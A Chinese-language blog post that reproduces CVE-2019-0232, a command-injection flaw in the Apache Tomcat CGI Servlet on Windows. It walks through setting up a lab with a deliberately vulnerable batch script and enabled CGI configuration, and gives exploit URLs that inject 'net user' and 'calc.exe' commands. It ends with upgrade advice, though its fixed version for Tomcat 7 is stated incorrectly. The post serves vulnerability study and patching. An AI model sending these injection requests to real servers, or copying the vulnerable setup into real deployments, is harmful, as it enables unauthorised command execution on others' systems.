Apache Tomcat(CVE-2019-0232)远程代码执行漏洞复现

0x00简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。



0x01漏洞概述
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

0x02影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

0x03环境搭建
环境:Java8+Apache Tomcat 8.5.39

1.安装tomcat需要java8环境,jdk下载地址:
Java Downloads | Oracle
2.下载完成后双击安装,一直点击下一步知道安装完成。

 
 
3.在系统环境变量中新建JAVA_HOME添加java安装路径,然后在Path变量编辑添加%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

 

步骤如下:

可查看此文章配置环境

https://blog.h-acker.ltd/lqbz/65.html

cmd下运行java -version查看是否配置正确

4.安装tomcat8.5.20版本,下载地址:

Index of /dist/tomcat/tomcat-8/v8.5.20/bin

5.下载完成后解压出来配置tomcat,打开Tomcat安装目录的apache-tomcat-8.5.20\conf\web.xml把取消以下两项的注释,否则访问cgi目录会提示404,在默认情况下配置是注释的。

<servlet>

<servlet-name>cgi</servlet-name>

<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>

<init-param>

<param-name>debug</param-name>

<param-value>0</param-value>

</init-param>

<init-param>

<param-name>cgiPathPrefix</param-name>

<param-value>WEB-INF/cgi-bin</param-value>

</init-param>

<init-param>

<param-name>executable</param-name>

<param-value></param-value>

</init-param>

<load-on-startup>5</load-on-startup>

6.然后修改在conf/context.xml中的添加privileged="true"语句

7.在apache-tomcat-8.5.20\webapps\ROOT\WEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入以下代码

@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%


8.都配置完成后进入apache-tomcat-8.5.39-src\bin下运行startup.bat启动tomcat

9.在浏览器输入http://your-ip:8080看到以下页面表示安装成功

0x04漏洞复现
1.在浏览器访问http://your-ip/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user,执行net user 命令

2.把后面的命令修改成calc.exe弹出计算器

http://your-ip/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

 

0x05漏洞修复
建议将受影响版本的用户应该应用下列其中一项缓解。升级到:

Apache Tomcat 9.0.18或更高版本

Apache Tomcat 8.5.40或更高版本

Apache Tomcat 7.0.93或更高版本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值